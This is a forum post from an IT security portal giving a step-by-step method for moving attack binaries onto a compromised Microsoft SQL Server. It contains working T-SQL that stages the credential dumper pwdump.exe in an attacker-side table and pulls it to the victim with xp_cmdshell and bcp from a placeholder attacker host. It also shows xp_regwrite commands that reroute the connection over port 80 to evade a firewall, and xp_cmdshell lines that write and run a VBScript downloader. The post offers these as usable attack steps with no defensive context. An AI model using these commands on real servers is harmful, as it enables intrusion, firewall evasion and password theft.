Waraxe IT Security Portal

Dinosaurio · Regular user

Hi,

Once an attacker has gained adequate privileges on the SQL Server, they will then want to upload ?binaries? to the server. Since this can not be done using protocols such as SMB, since port 137-139 typically is blocked at the firewall, the attacker will need another method of getting the binaries onto the victim?s file system. This can be done by uploading a binary file into a table local to the attacker and then pulling the data to the victim?s file system using a SQL Server connection.

To accomplish this the attacker would create a table on the local server as follows.
create table AttackerTable (data text) Having created the table to hold the binary, the attacker would then upload the binary into the table as follows:

bulk insert AttackerTable
from 'pwdump.exe'
with (codepage='RAW')

The binary can then be downloaded to the victim server from the attacker?s server by running the following SQL statement on the victim server:

exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -
Craw -Shackersip -Usa -Ph8ck3r'

This statement will issue an outbound connection to the attacker?s server and write the results of the query into a file recreating the executable. In this case, the connection will be made using the default protocol and port which could likely be blocked by the firewall. To circumvent the firewall, the attacker could try:

exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','Hacke
rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'

and then:
exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump.exe -c -
Craw -SHackerSrvAlias -Usa -Ph8ck3r'

The first SQL statement will configure a connection to the hacker?s server over port 80 while the second SQL statement will connect to the hacker?s server using port 80 and download the binary file.

Another method a hacker could use would be to write Visual Basic Script (.vbs) or Java Script files (.js) to the OS file system and then execute those scripts. Using this technique the scripts would connect to any server and download the attacker?s binary files or even copy over the script and execute it in the victim server.

exec xp_cmdshell '"first script line" >> script.vbs'
exec xp_cmdshell '"second script line" >> script.vbs'
...
exec xp_cmdshell '"last script line" >> script.vbs'
exec xp_cmdshell 'script.vbs' -->execute script to download binary

Good Luck

Dino